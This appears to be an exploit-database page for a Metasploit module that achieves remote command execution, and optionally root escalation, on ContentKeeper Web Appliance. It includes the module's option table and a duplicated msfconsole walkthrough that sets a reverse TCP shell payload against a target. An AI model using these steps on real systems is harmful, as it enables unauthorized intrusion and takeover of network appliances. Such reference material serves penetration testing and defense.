ContentKeeper Web Remote Command Execution
This module exploits the ContentKeeper Web Appliance. Versions prior to 125.10 are affected. This module exploits a combination of weaknesses to enable remote command execution as the Apache user. By setting SkipEscalation to false, this module will attempt to setuid the bash shell.
Exploit Rank
- Excellent
Exploit Authors
- patrick < patrick [at] osisecurity.com.au >
Vulnerability References
Exploit Targets
- 0 - Automatic (default)
Exploit Development
Similar Exploit Modules
- exploit/unix/http/ctek_skyrouter
- exploit/unix/http/freepbx_callmenum
- exploit/unix/http/lifesize_room
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/unix/http/contentkeeperweb_mimencode
msf exploit(contentkeeperweb_mimencode) > show payloads
msf exploit(contentkeeperweb_mimencode) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(contentkeeperweb_mimencode) > set LHOST [MY IP ADDRESS]
msf exploit(contentkeeperweb_mimencode) > set RHOST [TARGET IP]
msf exploit(contentkeeperweb_mimencode) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/unix/http/contentkeeperweb_mimencode
msf exploit(contentkeeperweb_mimencode) > show payloads
msf exploit(contentkeeperweb_mimencode) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(contentkeeperweb_mimencode) > set LHOST [MY IP ADDRESS]
msf exploit(contentkeeperweb_mimencode) > set RHOST [TARGET IP]
msf exploit(contentkeeperweb_mimencode) > exploit
Exploit Module Options
| OVERWRITE | The target file to upload our payload (spamkeeper.dat, bak.txt, formdate.pl etc) (default: spamkeeper.dat) |
| RHOST | The target address |
| RPORT | The target port (default: 80) |
| SkipEscalation | Specify this to skip the root escalation attempt |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
